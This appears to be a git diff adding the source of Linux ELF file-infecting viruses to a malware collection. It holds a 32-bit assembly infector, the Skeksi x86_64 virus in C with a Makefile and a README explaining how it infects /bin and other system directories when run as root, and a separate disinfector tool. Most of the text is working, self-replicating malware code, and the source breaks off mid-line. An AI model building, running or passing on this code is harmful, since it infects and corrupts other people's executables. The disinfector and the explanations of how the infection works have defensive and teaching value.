+ ; virus body start + + ; make space in the stack for some uninitialized variables to avoid a .bss section + mov ecx, 2328 ; set counter to 2328 (x4 = 9312 bytes). filename (esp), buffer (esp+32), targets (esp+1056), targetfile (esp+2080) +loop_bss: + push 0x00 ; reserve 4 bytes (double word) of 0's + sub ecx, 1 ; decrement our counter by 1 + cmp ecx, 0 + jbe loop_bss + mov edi, esp ; esp has our fake .bss offset. Let's store it in edi for now. + + call folder + db ".", 0 +folder: + pop ebx ; name of the folder + mov esi, 0 ; reset offset for targets + mov eax, 5 ; sys_open + mov ecx, 0 + mov edx, 0 + int 80h + + cmp eax, 0 ; check if fd in eax > 0 (ok) + jbe v_stop ; cannot open file. Exit virus + + mov ebx, eax + mov eax, 0xdc ; sys_getdents64 + mov ecx, edi ; fake .bss section + add ecx, 32 ; offset for buffer + mov edx, 1024 + int 80h + + mov eax, 6 ; close + int 80h + xor ebx, ebx ; zero out ebx as we will use it as the buffer offset + +find_filename_start: + ; look for the sequence 0008 which occurs before the start of a filename + inc ebx + cmp ebx, 1024 + jge infect + cmp byte [edi+32+ebx], 0x00 ; edi+32 is buffer + jnz find_filename_start + inc ebx + cmp byte [edi+32+ebx], 0x08 ; edi+32 is buffer + jnz find_filename_start + + xor ecx, ecx ; clear out ecx which will be our offset for file + mov byte [edi+ecx], 0x2e ; prepend file with ./ for full path (.) edi is filename + inc ecx + mov byte [edi+ecx], 0x2f ; prepend file with ./ for full path (/) edi is filename + inc ecx + +find_filename_end: + ; look for the 00 which denotes the end of a filename + inc ebx + cmp ebx, 1024 + jge infect + + push esi ; save our target offset + mov esi, edi ; fake .bss + add esi, 32 ; offset for buffer + add esi, ebx ; set source + push edi ; save our fake .bss + add edi, ecx ; set destination to filename + movsb ; moved byte from buffer to filename + pop edi ; restore our fake .bss + pop esi ; restore our target offset + inc ecx ; increment offset stored in ecx + + cmp byte [edi+32+ebx], 0x00 ; denotes end of the filename + jnz find_filename_end + + mov byte [edi+ecx], 0x00 ; we have a filename. Add a 0x00 to the end of the file buffer + + push ebx ; save our offset in buffer + call scan_file + pop ebx ; restore our offset in buffer + + jmp find_filename_start ; find next file + +scan_file: + ; check the file for infectability + mov eax, 5 ; sys_open + mov ebx, edi ; path (offset to filename) + mov ecx, 0 ; O_RDONLY + int 80h + + cmp eax, 0 ; check if fd in eax > 0 (ok) + jbe return ; cannot open file. Return + + mov ebx, eax ; fd + mov eax, 3 ; sys_read + mov ecx, edi ; address struct + add ecx, 2080 ; offset to targetfile in fake .bss + mov edx, 12 ; all we need are 4 bytes to check for the ELF header but 12 bytes to find signature + int 80h + + call elfheader + dd 0x464c457f ; 0x7f454c46 -> .ELF (but reversed for endianness) +elfheader: + pop ecx + mov ecx, dword [ecx] + cmp dword [edi+2080], ecx ; this 4 byte header indicates ELF! (dword). edi+2080 is offset to targetfile in fake .bss + jnz close_file ; not an executable ELF binary. Return + + ; check if infected + mov ecx, 0x001edd0e ; 0x0edd1e00 signature reversed for endianness + cmp dword [edi+2080+8], ecx ; signature should show up after the 8th byte. edi+2080 is offset to targetfile in fake .bss + jz close_file ; signature exists. Already infected. Close file. + +save_target: + ; good target! save filename + push esi ; save our targets offset + push edi ; save our fake .bss + mov ecx, edi ; temporarily place filename offset in ecx + add edi, 1056 ; offset to targets in fake .bss + add edi, esi + mov esi, ecx ; filename -> edi -> ecx -> esi + mov ecx, 32 + rep movsb ; save another target filename in targets + pop edi ; restore our fake .bss + pop esi ; restore our targets offset + add esi, 32 + +close_file: + mov eax, 6 + int 80h + +return: + ret + +infect: + ; let's infect these targets! + cmp esi, 0 + jbe v_stop ; there are no targets :( exit + + sub esi, 32 + + mov eax, 5 ; sys_open + mov ebx, edi ; path + add ebx, 1056 ; offset to targets in fake .bss + add ebx, esi ; offset of next filename + mov ecx, 2 ; O_RDWR + int 80h + + mov ebx, eax ; fd + + mov ecx, edi + add ecx, 2080 ; offset to targetfile in fake .bss + +reading_loop: + mov eax, 3 ; sys_read + mov edx, 1 ; read 1 byte at a time (yeah, I know this can be optimized) + int 80h + + cmp eax, 0 ; if this is 0, we've hit EOF + je reading_eof + mov eax, edi + add eax, 9312 ; 2080 + 7232 + cmp ecx, eax ; if the file is over 7232 bytes, let's quit + jge infect + add ecx, 1 + jmp reading_loop + +reading_eof: + push ecx ; store address of last byte read. We'll need this later + mov eax, 6 ; close file + int 80h + + xor ecx, ecx + xor eax, eax + mov cx, word [edi+2080+44] ; ehdr->phnum (number of program header entries) + mov eax, dword [edi+2080+28] ; ehdr->phoff (program header offset) + sub ax, word [edi+2080+42] ; subtract 32 (size of program header entry) to initialize loop + +program_header_loop: + ; loop through program headers and find the data segment (PT_LOAD, offset>0) + + ;0 p_type type of segment + ;+4 p_offset offset in file where to start the segment at + ;+8 p_vaddr his virtual address in memory + ;+c p_addr physical address (if relevant, else equ to p_vaddr) + ;+10 p_filesz size of datas read from offset + ;+14 p_memsz size of the segment in memory + ;+18 p_flags segment flags (rwx perms) + ;+1c p_align alignement + add ax, word [edi+2080+42] + cmp ecx, 0 + jbe infect ; couldn't find data segment. let's close and look for next target + sub ecx, 1 ; decrement our counter by 1 + + mov ebx, dword [edi+2080+eax] ; phdr->type (type of segment) + cmp ebx, 0x01 ; 0: PT_NULL, 1: PT_LOAD, ... + jne program_header_loop ; it's not PT_LOAD. look for next program header + + mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header) + cmp ebx, 0x00 ; if it's 0, it's the text segment. Otherwise, we found the data segment + je program_header_loop ; it's the text segment. We're interested in the data segment + + mov ebx, dword [edi+2080+24] ; old entry point + push ebx ; save the old entry point + mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header) + mov edx, dword [edi+2080+eax+16] ; phdr->filesz (size of segment on disk) + add ebx, edx ; offset of where our virus should reside = phdr[data]->offset + p[data]->filesz + push ebx ; save the offset of our virus + mov ebx, dword [edi+2080+eax+8] ; phdr->vaddr (virtual address in memory) + add ebx, edx ; new entry point = phdr[data]->vaddr + p[data]->filesz + + mov ecx, 0x001edd0e ; insert our signature at byte 8 (unused section of the ELF header) + mov [edi+2080+8], ecx + mov [edi+2080+24], ebx ; overwrite the old entry point with the virus (in buffer) + add edx, v_stop - v_start ; add size of our virus to phdr->filesz + add edx, 7 ; for the jmp to original entry point + mov [edi+2080+eax+16], edx ; overwrite the old phdr->filesz with the new one (in buffer) + mov ebx, dword [edi+2080+eax+20] ; phdr->memsz (size of segment in memory) + add ebx, v_stop - v_start ; add size of our virus to phdr->memsz + add ebx, 7 ; for the jmp to original entry point + mov [edi+2080+eax+20], ebx ; overwrite the old phdr->memsz with the new one (in buffer) + + xor ecx, ecx + xor eax, eax + mov cx, word [edi+2080+48] ; ehdr->shnum (number of section header entries) + mov eax, dword [edi+2080+32] ; ehdr->shoff (section header offset) + sub ax, word [edi+2080+46] ; subtract 40 (size of section header entry) to initialize loop + +section_header_loop: + ; loop through section headers and find the .bss section (NOBITS) + + ;0 sh_name contains a pointer to the name string section giving the + ;+4 sh_type give the section type [name of this section + ;+8 sh_flags some other flags ... + ;+c sh_addr virtual addr of the section while running + ;+10 sh_offset offset of the section in the file + ;+14 sh_size zara white phone numba + ;+18 sh_link his use depends on the section type + ;+1c sh_info depends on the section type + ;+20 sh_addralign alignement + ;+24 sh_entsize used when section contains fixed size entrys + add ax, word [edi+2080+46] + cmp ecx, 0 + jbe finish_infection ; couldn't find .bss section. Nothing to worry about. Finish the infection + sub ecx, 1 ; decrement our counter by 1 + + mov ebx, dword [edi+2080+eax+4] ; shdr->type (type of section) + cmp ebx, 0x00000008 ; 0x08 is NOBITS which is an indicator of a .bss section + jne section_header_loop ; it's not the .bss section + + mov ebx, dword [edi+2080+eax+12] ; shdr->addr (virtual address in memory) + add ebx, v_stop - v_start ; add size of our virus to shdr->addr + add ebx, 7 ; for the jmp to original entry point + mov [edi+2080+eax+12], ebx ; overwrite the old shdr->addr with the new one (in buffer) + +section_header_loop_2: + mov edx, dword [edi+2080+eax+16] ; shdr->offset (offset of section) + add edx, v_stop - v_start ; add size of our virus to shdr->offset + add edx, 7 ; for the jmp to original entry point + mov [edi+2080+eax+16], edx ; overwrite the old shdr->offset with the new one (in buffer) + + add eax, 40 + sub ecx, 1 + cmp ecx, 0 + jg section_header_loop_2 ; this loop isn't necessary to make the virus function, but inspecting the host file with a readelf -a shows a clobbered symbol table and section/segment mapping + +finish_infection: + ;dword [edi+2080+24] ; ehdr->entry (virtual address of entry point) + ;dword [edi+2080+28] ; ehdr->phoff (program header offset) + ;dword [edi+2080+32] ; ehdr->shoff (section header offset) + ;word [edi+2080+40] ; ehdr->ehsize (size of elf header) + ;word [edi+2080+42] ; ehdr->phentsize (size of one program header entry) + ;word [edi+2080+44] ; ehdr->phnum (number of program header entries) + ;word [edi+2080+46] ; ehdr->shentsize (size of one section header entry) + ;word [edi+2080+48] ; ehdr->shnum (number of program header entries) + mov eax, v_stop - v_start ; size of our virus minus the jump to original entry point + add eax, 7 ; for the jmp to original entry point + mov ebx, dword [edi+2080+32] ; the original section header offset + add eax, ebx ; add the original section header offset + mov [edi+2080+32], eax ; overwrite the old section header offset with the new one (in buffer) + + mov eax, 5 ; sys_open + mov ebx, edi ; path + add ebx, 1056 ; offset to targets in fake .bss + add ebx, esi ; offset of next filename + mov ecx, 2 ; O_RDWR + int 80h + + mov ebx, eax ; fd + mov eax, 4 ; sys_write + mov ecx, edi + add ecx, 2080 ; offset to targetfile in fake .bss + pop edx ; host file up to the offset where the virus resides + int 80h + mov [edi+7], edx ; place the offset of the virus in this unused section of the filename buffer + + call delta_offset +delta_offset: + pop ebp ; we need to calculate our delta offset because the absolute address of v_start will differ in different host files. This will be 0 in our original virus + sub ebp, delta_offset + + mov eax, 4 + lea ecx, [ebp + v_start] ; attach the virus portion (calculated with the delta offset) + mov edx, v_stop - v_start ; size of virus bytes + int 80h + + pop edx ; original entry point of host (we'll store this double word in the same location we used for the 32 byte filename) + mov [edi], byte 0xb8 ; op code for MOV EAX (1 byte) + mov [edi+1], edx ; original entry point (4 bytes) + mov [edi+5], word 0xe0ff ; op code for JMP EAX (2 bytes) + + mov eax, 4 + mov ecx, edi ; offset to filename in fake .bss + mov edx, 7 ; 7 bytes for the final jmp to the original entry point + int 80h + + mov eax, 4 ; sys_write + mov ecx, edi + add ecx, 2080 ; offset to targetfile in fake .bss + mov edx, dword [edi+7] ; offset of the virus + add ecx, edx ; let's continue where we left off + + pop edx ; offset of last byte in targetfile in fake.bss + sub edx, ecx ; length of bytes to write + int 80h + + mov eax, 36 ; sys_sync + int 80h + + mov eax, 6 ; close file + int 80h + + jmp infect + +v_stop: + ; virus body stop (host program start) + mov eax, 1 ; sys_exit + mov ebx, 0 ; normal status + int 80h + diff --git a/Linux/Infectors/Skeksi/Makefile b/Linux/Infectors/Skeksi/Makefile new file mode 100644 index 0000000..04150d2 --- /dev/null +++ b/Linux/Infectors/Skeksi/Makefile @@ -0,0 +1,7 @@ +all: virus +virus: + gcc -O0 -DANTIDEBUG -DINFECT_PLTGOT -fno-stack-protector -c virus.c -fpic -o virus.o + #gcc -g -DDEBUG -O0 -fno-stack-protector -c virus.c -fpic -mcmodel=small -o virus.o + gcc -N -fno-stack-protector -nostdlib virus.o -o virus +clean: + rm -f virus diff --git a/Linux/Infectors/Skeksi/README.md b/Linux/Infectors/Skeksi/README.md new file mode 100644 index 0000000..a9908f2 --- /dev/null +++ b/Linux/Infectors/Skeksi/README.md @@ -0,0 +1,46 @@ +# skeksi_virus + +Linux X86_64 ELF Virus that just might ruin someones day in the wrong hands + +## General about + +This Virus is humurous, but it is also nasty and should not be executed on any system unless +it is a controlled environmnent, or an expendable Virtual machine setup specifically to host +malware. The Skeksi Virus was written merely for the sake of inventiveness, and to demonstrate +how to write a quality Virus for Linux, mostly in C. It is a work in progress and is not yet +complete. + +## Virus specifications + +### Infection techniques + +* Extends text segment in reverse to make room for parasite + +This technique is nice, because it is less suspicious. The entry point still points into the +.text section of the executable, and there is no modifications to the segment permissions or +segment type (such as converting a PT_NOTE to PT_LOAD). + +* Infects the PLT/GOT + +Currently the Virus only looks for the puts() function which is used to print strings and is +often linked into an executable instead of printf(). The result is that an infected binary will +print everything to stdout in l33t sp34k, randomly with a probability of 1 in 5. + +## Infection behaviour + +The virus will infect only x86_64 ELF ET_EXEC binaries that are dynamically linked. The virus +will soon also be able to infect shared libaries, but some adjustments must be made to take +into account the position independent type executables. The virus will mark an infected file's +EI_PAD area (9 bytes into the ELF file header) with a magic number 0x15D25. This prevents it +from re-infecting a given file. + +If the Virus is launched as a non-root user, it will only infect binaries in the CWD. If the +virus is launched with root privileges it will randomly select one of four directories: +/bin, /usr/bin, /sbin, /usr/sbin. After it picks a target directory it will have a 1 in 10 +chance of infecting each file as it iterates through all of them. + +## Nuances and notes + +Notice we do store string literals, not just on the stack. This is because the text and data +segment are merged into a single segment and each time the virus copies itself, it copies +all of the string data as well. diff --git a/Linux/Infectors/Skeksi/disinfect/Makefile b/Linux/Infectors/Skeksi/disinfect/Makefile new file mode 100644 index 0000000..a7d2920 --- /dev/null +++ b/Linux/Infectors/Skeksi/disinfect/Makefile @@ -0,0 +1,4 @@ +all: + gcc -O2 disinfect.c -o disinfect +clean: + rm -f disinfect diff --git a/Linux/Infectors/Skeksi/disinfect/disinfect.c b/Linux/Infectors/Skeksi/disinfect/disinfect.c new file mode 100644 index 0000000..da61524 --- /dev/null +++ b/Linux/Infectors/Skeksi/disinfect/disinfect.c @@ -0,0 +1,359 @@ +/* + * Skeksi Virus disinfector, by ElfMaster. January 2016 + * + * -= About: + * This disinfector is the first prototype, it is written for those who may have been so unfortunate + * as to infect their own system. The disinfector will work any infected ET_EXEC file, provided that + * it has section headers. This is somewhat of a weakness considering the Virus itself works on executables + * that have no section headers. If you need to change this, its pretty easy, just parse the program + * headers and get PT_DYNAMIC, and then use the D_TAG's to find the PLT/GOT, Relocation, and dynamic + * symbol table. + * + * -= Usage: + * gcc -O2 skeksi_disinfect.c -o disinfect + * ./disinfect + + * elfmaster [4t] zoho.com + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +typedef struct elfdesc { + Elf64_Ehdr *ehdr; + Elf64_Phdr *phdr; + Elf64_Shdr *shdr; + Elf64_Addr textVaddr; + Elf64_Addr dataVaddr; + Elf64_Addr dataOff; + size_t textSize; + size_t dataSize; + uint8_t *mem; + struct stat st; + char *path; +} elfdesc_t; + +#define TMP ".disinfect_file.xyz" + +/* + * If we find push/ret, and the address + * being pushed is within the text segment + * of the regular x86_64 text range per the + * default linker script, then we are probably + * in good shape. + * note: 0x400000 is the default text base + */ +uint32_t locate_orig_entry(elfdesc_t *elf) +{ + uint32_t i, entry; + uint8_t *mem = elf->mem; + for (i = 0; i < elf->st.st_size; i++) { + if (mem[0] == 0x68 && mem[5] == 0xc3) { + entry = *(uint32_t *)&mem[1]; + if (entry >= 0x400000 && entry < 0x4fffff) + return entry; + } + } + return 0; // couldn't find it, uh oh! +} + +uint32_t locate_glibc_init_offset(elfdesc_t *elf) +{ + uint32_t i; + uint8_t *mem = elf->mem; + + for (i = 0; i < elf->st.st_size; i++) { + if ( + mem[i + 0] == 0x31 && mem[i + 1] == 0xed && + mem[i + 2] == 0x49 && mem[i + 3] == 0x89 && + mem[i + 4] == 0xd1 && mem[i + 5] == 0x5e && + mem[i + 6] == 0x48 && mem[i + 7] == 0x89 && mem[i + 8] == 0xe2) + return i; + } + + return 0; +} + +int disinfect_pltgot(elfdesc_t *elf) +{ + Elf64_Ehdr *ehdr = elf->ehdr; + Elf64_Phdr *phdr = elf->phdr; + Elf64_Shdr *shdr = elf->shdr; + uint8_t *mem = elf->mem; + Elf64_Sym *symtab = NULL; + Elf64_Rela *rela = NULL; + Elf64_Addr addr = 0, plt_addr = 0; + Elf64_Off plt_off = 0, gotoff = 0; + size_t plt_size = 0, symtab_size = 0, rela_size = 0; + char *shstrtab = (char *)&mem[shdr[elf->ehdr->e_shstrndx].sh_offset]; + char *strtab = NULL; + uint8_t *gotptr, *plt; + int i, j, symindex = 0, c = 0; + + for (i = 0; i < ehdr->e_shnum; i++) { + switch(shdr[i].sh_type) { + case SHT_DYNSYM: + symtab = (Elf64_Sym *)&mem[shdr[i].sh_offset]; + symtab_size = shdr[i].sh_size; + strtab = (char *)&mem[shdr[shdr[i].sh_link].sh_offset]; + break; + case SHT_RELA: + if (!strcmp(&shstrtab[shdr[i].sh_name], ".rela.plt")) { + rela = (Elf64_Rela *)&mem[shdr[i].sh_offset]; + rela_size = shdr[i].sh_size; + } + break; + case SHT_PROGBITS: + if (!strcmp(&shstrtab[shdr[i].sh_name], ".plt")) { + plt_off = shdr[i].sh_offset; + plt_addr = shdr[i].sh_addr; + plt_size = shdr[i].sh_size; + } + break; + } + } + if (plt_off == 0 || symtab == NULL || rela == NULL) { + printf("Unable to find relocation/symbol/plt info\n"); + return -1; + } + + plt = &mem[plt_off]; // point at PLT, right past PLT-0 + for (i = 0; i < rela_size/sizeof(Elf64_Rela); i++) { + + symindex = ELF64_R_SYM(rela->r_info); + if (!strcmp(&strtab[symtab[ELF64_R_SYM(rela->r_info)].st_name], "puts")) { + printf("Attempting to disinfect PLT/GOT\n"); + gotoff = elf->dataOff + (rela->r_offset - elf->dataVaddr); + gotptr = &mem[gotoff]; + addr = gotptr[0] + (gotptr[1] << 8) + (gotptr[2] << 16) + (gotptr[3] << 24); + if (!(addr >= plt_addr && addr < plt_addr + plt_size)) { + for (c = 0, j = 0; j < plt_size; j += 16, c++) { + if (c == symindex) { + printf("Successfully disinfected PLT/GOT table\n"); + *(uint32_t *)gotptr = plt_addr + j + 6; + return 0; + } + } + + } + printf("Failed to disinfect PLT/GOT table\n"); + return -1; + } + } + + return 0; +} + +/* + * Expected x86_64 base is 0x400000 in Linux. We rely on that + * here, which may end up being a bit wobbly. + */ +int disinfect(elfdesc_t *elf) +{ + size_t paddingSize; + Elf64_Phdr *phdr = elf->phdr; + Elf64_Shdr *shdr = elf->shdr; + uint32_t text_offset = 0; + char *strtab = NULL; + uint8_t *mem = elf->mem; + int i, textfound, fd; + ssize_t c, last_chunk; + if (elf->textVaddr >= 0x400000) { + printf("unexpected text segment address, this file may not actually be infected\n"); + return -1; + } + + paddingSize = 0x400000 - elf->textVaddr; + + /* + * Remove PLT/GOT hooks if present + */ + int ret = disinfect_pltgot(elf); + + /* + * Remove infection magic + */ + *(uint32_t *)&elf->ehdr->e_ident[EI_PAD] = 0x00000000; + + /* + * PT_PHDR, PT_INTERP were pushed forward in the file + */ + phdr[0].p_offset -= paddingSize; + phdr[1].p_offset -= paddingSize; + + /* + * Set phdr's back to normal + */ + for (textfound = 0, i = 0; i < elf->ehdr->e_phnum; i++) { + if (textfound) { + phdr[i].p_offset -= paddingSize; + continue; + } + if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0 && phdr[i].p_flags & PF_X) { + if (phdr[i].p_paddr == phdr[i].p_vaddr) { + phdr[i].p_vaddr += paddingSize; + phdr[i].p_paddr += paddingSize; + } else + phdr[i].p_vaddr += paddingSize; + /* + * reset segment size for text + */ + phdr[i].p_filesz -= paddingSize; + phdr[i].p_memsz -= paddingSize; + phdr[i].p_align = 0x200000; + phdr[i + 1].p_align = 0x200000; + textfound = 1; + } + } + + text_offset = locate_glibc_init_offset(elf); + + /* + * Straighten out section headers + */ + strtab = (char *)&mem[shdr[elf->ehdr->e_shstrndx].sh_offset]; + for (i = 0; i < elf->ehdr->e_shnum; i++) { + /* + * We treat .text section special because it is modified to + * encase the entire parasite code. Lets change it back to + * only encasing the regular .text stuff. + */ + if (!strcmp(&strtab[shdr[i].sh_name], ".text")) { + if (text_offset == 0) // leave unchanged :( + continue; + shdr[i].sh_offset = text_offset - paddingSize; + shdr[i].sh_addr = (text_offset - paddingSize) + 0x400000; + continue; + } + shdr[i].sh_offset -= paddingSize; + } + + /* + * Set phdr and shdr table back + */ + elf->ehdr->e_shoff -= paddingSize; + elf->ehdr->e_phoff -= paddingSize; + + /* + * Set original entry point + */ + elf->ehdr->e_entry = 0x400000 + text_offset; + elf->ehdr->e_entry -= paddingSize; + + if ((fd = open(TMP, O_CREAT | O_TRUNC | O_WRONLY, elf->st.st_mode)) < 0) + return -1; + + if ((c = write(fd, mem, sizeof(Elf64_Ehdr))) != sizeof(Elf64_Ehdr)) + return -1; + + mem += paddingSize + sizeof(Elf64_Ehdr); + last_chunk = elf->st.st_size - (paddingSize + sizeof(Elf64_Ehdr)); + + if ((c = write(fd, mem, last_chunk)) != last_chunk) + return -1; + + if (fchown(fd, elf->st.st_uid, elf->st.st_gid) < 0) + return -1; + + rename(TMP, elf->path); + + return 0; +} + +int load_executable(const char *path, elfdesc_t *elf) +{ + uint8_t *mem; + Elf64_Ehdr *ehdr; + Elf64_Phdr *phdr; + Elf64_Shdr *shdr; + int fd; + struct stat st; + int i; + + if ((fd = open(path, O_RDONLY)) < 0) { + perror("open"); + return -1; + } + fstat(fd, &st); + + mem = mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); + if (mem == MAP_FAILED) { + perror("mmap"); + return -1; + } + + ehdr = (Elf64_Ehdr *)mem; + phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff]; + shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff]; + + elf->st = st; + + for (i = 0; i < ehdr->e_phnum; i++) { + switch(!!phdr[i].p_offset) { + case 0: + elf->textVaddr = phdr[i].p_vaddr; + elf->textSize = phdr[i].p_filesz; + break; + case 1: + elf->dataOff = phdr[i].p_offset; + elf->dataVaddr = phdr[i].p_vaddr; + elf->dataSize = phdr[i].p_filesz; + break; + } + } + elf->mem = mem; + elf->ehdr = ehdr; + elf->phdr = phdr; + elf->shdr = shdr; + elf->path = (char *)path; + return 0; + +} + +int test_for_skeksi(elfdesc_t *elf) +{ + uint32_t magic = *(uint32_t *)&elf->ehdr->e_ident[EI_PAD]; + return (magic == 0x15D25); +} + +int main(int argc, char **argv) +{ + elfdesc_t elf; + + if (argc < 2) { + printf("Usage: %s \n", argv[0]); + exit(0); + } + + if (load_executable(argv[1], &elf) < 0) { + printf("Failed to load executable: %s\n", argv[1]); + exit(-1); + } + + if (test_for_skeksi(&elf) == 0) { + printf("File: %s, is not infected with the Skeksi virus\n", argv[1]); + exit(-1); + } + printf("File: %s, is infected with the skeksi virus! Attempting to disinfect\n", argv[1]); + + if (disinfect(&elf) < 0) { + printf("Failed to disinfect file: %s\n", argv[1]); + exit(-1); + } + + printf("Successfully disinfected: %s\n", argv[1]); + + +} + diff --git a/Linux/Infectors/Skeksi/virus.c b/Linux/Infectors/Skeksi/virus.c new file mode 100644 index 0000000..a9ec36f --- /dev/null +++ b/Linux/Infectors/Skeksi/virus.c @@ -0,0 +1,1742 @@ +/* + * Skeksi Virus v0.1 - infects files that are ELF_X86_64 Linux ET_EXEC's + * Written by ElfMaster - ryan@bitlackeys.org + * + * Compile: + * gcc -g -O0 -DANTIDEBUG -DINFECT_PLTGOT -fno-stack-protector -c virus.c -fpic -o virus.o + * gcc -N -fno-stack-protector -nostdlib virus.o -o virus + * + * Using -DDEBUG will allow Virus to print debug output + * + * Usage: + * ./virus + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define VIRUS_LAUNCHER_NAME "virus" + +struct linux_dirent64 { + uint64_t d_ino; + int64_t d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[0]; +} __attribute__((packed)); + + + +/* libc */ + +void Memset(void *mem, unsigned char byte, unsigned int len); +void _memcpy(void *, void *, unsigned int); +int _printf(char *, ...); +char * itoa(long, char *); +char * itox(long, char *); +int _puts(char *); +int _puts_nl(char *); +size_t _strlen(char *); +char *_strchr(const char *, int); +char * _strrchr(const char *, int); +int _strncmp(const char *, const char *, size_t); +int _strcmp(const char *, const char *); +int _memcmp(const void *, const void *, unsigned int); +char _toupper(char c); + + +/* syscalls */ +long _ptrace(long request, long pid, void *addr, void *data); +int _prctl(long option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5); +int _fstat(long, void *); +int _mprotect(void * addr, unsigned long len, int prot); +long _lseek(long, long, unsigned int); +void Exit(long); +void *_mmap(void *, unsigned long, unsigned long, unsigned long, long, unsigned long); +int _munmap(void *, size_t); +long _open(const char *, unsigned long, long); +long _write(long, char *, unsigned long); +int _read(long, char *, unsigned long); +int _getdents64(unsigned int fd, struct linux_dirent64 *dirp, + unsigned int count); +int _rename(const char *, const char *); +int _close(unsigned int); +int _gettimeofday(struct timeval *, struct timezone *); + +/* Customs */ +unsigned long get_rip(void); +void end_code(void); +void dummy_marker(void); +static inline uint32_t get_random_number(int) __attribute__((__always_inline__)); +void display_skeksi(void); + +#define PIC_RESOLVE_ADDR(target) (get_rip() - ((char *)&get_rip_label - (char *)target)) + +#if defined(DEBUG) && DEBUG > 0 + #define DEBUG_PRINT(fmt, args...) _printf("DEBUG: %s:%d:%s(): " fmt, \ + __FILE__, __LINE__, __func__, ##args) +#else + #define DEBUG_PRINT(fmt, args...) /* Don't do anything in release builds */ +#endif + +#define PAGE_ALIGN(x) (x & ~(PAGE_SIZE - 1)) +#define PAGE_ALIGN_UP(x) (PAGE_ALIGN(x) + PAGE_SIZE) +#define PAGE_ROUND(x) (PAGE_ALIGN_UP(x)) +#define STACK_SIZE 0x4000000 + +#define TMP ".xyz.skeksi.elf64" +#define RODATA_PADDING 17000 // enough bytes to also copy .rodata and skeksi_banner + +#define LUCKY_NUMBER 7 +#define MAGIC_NUMBER 0x15D25 //thankz Mr. h0ffman + +#define __ASM__ asm __volatile__ + +extern long real_start; +extern long get_rip_label; + +struct bootstrap_data { + int argc; + char **argv; +}; + +typedef struct elfbin { + Elf64_Ehdr *ehdr; + Elf64_Phdr *phdr; + Elf64_Shdr *shdr; + Elf64_Dyn *dyn; + Elf64_Addr textVaddr; + Elf64_Addr dataVaddr; + size_t textSize; + size_t dataSize; + Elf64_Off dataOff; + Elf64_Off textOff; + uint8_t *mem; + size_t size; + char *path; + struct stat st; + int fd; + int original_virus_exe; +} elfbin_t; + +#define DIR_COUNT 4 + +_start() +{ +#if 0 + struct bootstrap_data bootstrap; +#endif + /* + * Save register state before executing parasite + * code. + */ + __ASM__ ( + ".globl real_start \n" + "real_start: \n" + "push %rsp \n" + "push %rbp \n" + "push %rax \n" + "push %rbx \n" + "push %rcx \n" + "push %rdx \n" + "push %r8 \n" + "push %r9 \n" + "push %r10 \n" + "push %r11 \n" + "push %r12 \n" + "push %r13 \n" + "push %r14 \n" + "push %r15 "); + +#if 0 + __ASM__ ("mov 0x08(%%rbp), %%rcx " : "=c" (bootstrap.argc)); + __ASM__ ("lea 0x10(%%rbp), %%rcx " : "=c" (bootstrap.argv)); +#endif + /* + * Load bootstrap pointer as argument to do_main() + * and call it. + */ + __ASM__ ( +#if 0 + "leaq %0, %%rdi\n" +#endif + "call do_main " //:: "g"(bootstrap) + ); + /* + * Restore register state + */ + __ASM__ ( + "pop %r15 \n" + "pop %r14 \n" + "pop %r13 \n" + "pop %r12 \n" + "pop %r11 \n" + "pop %r10 \n" + "pop %r9 \n" + "pop %r8 \n" + "pop %rdx \n" + "pop %rcx \n" + "pop %rbx \n" + "pop %rax \n" + "pop %rbp \n" + "pop %rsp \n" + "add $0x8, %rsp\n" + "jmp end_code " + ); +} + +/* + * l33t sp34k version of puts. We infect PLTGOT + * entry for puts() of infected binaries. + */ + +int evil_puts(const char *string) +{ + char *s = (char *)string; + char new[1024]; + int index = 0; + int rnum = get_random_number(5); + if (rnum != 3) + goto normal; + + Memset(new, 0, 1024); + while (*s != '\0' && index < 1024) { + switch(_toupper(*s)) { + case 'I': + new[index++] = '1'; + break; + case 'E': + new[index++] = '3'; + break; + case 'S': + new[index++] = '5'; + break; + case 'T': + new[index++] = '7'; + break; + case 'O': + new[index++] = '0'; + break; + case 'A': + new[index++] = '4'; + break; + default: + new[index++] = *s; + break; + } + s++; + } + return _puts_nl(new); +normal: + return _puts_nl((char *)string); +} + +/* + * Heap areas are created by passing a NULL initialized + * pointer by reference. + */ +#define CHUNK_SIZE 256 +void * vx_malloc(size_t len, uint8_t **mem) +{ + if (*mem == NULL) { + *mem = _mmap(NULL, 0x200000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); + if (*mem == MAP_FAILED) { + DEBUG_PRINT("malloc failed with mmap\n"); + Exit(-1); + } + } + *mem += CHUNK_SIZE; + return (void *)((char *)*mem - len); +} + +static inline void vx_free(uint8_t *mem) +{ + uintptr_t addr = (uintptr_t)mem; + if ((addr & 0x000000000fff) == 0) { + _munmap(mem, 0x200000); + return; + } + addr -= CHUNK_SIZE; + mem = (uint8_t *)addr; +} + +static inline int _rand(long *seed) // RAND_MAX assumed to be 32767 +{ + *seed = *seed * 1103515245 + 12345; + return (unsigned int)(*seed / 65536) & 32767; +} +/* + * We rely on ASLR to get our psuedo randomness, since RSP will be different + * at each execution. + */ +static inline uint32_t get_random_number(int max) +{ + struct timeval tv; + _gettimeofday(&tv, NULL); + return _rand(&tv.tv_usec) % max; +} + +static inline char * randomly_select_dir(char **dirs) +{ + return (char *)dirs[get_random_number(DIR_COUNT)]; +} + +char * full_path(char *exe, char *dir, uint8_t **heap) +{ + char *ptr = (char *)vx_malloc(_strlen(exe) + _strlen(dir) + 2, heap); + Memset(ptr, 0, _strlen(exe) + _strlen(dir)); + _memcpy(ptr, dir, _strlen(dir)); + ptr[_strlen(dir)] = '/'; + if (*exe == '.' && *(exe + 1) == '/') + exe += 2; + _memcpy(&ptr[_strlen(dir) + 1], exe, _strlen(exe)); + return ptr; +} + +#define 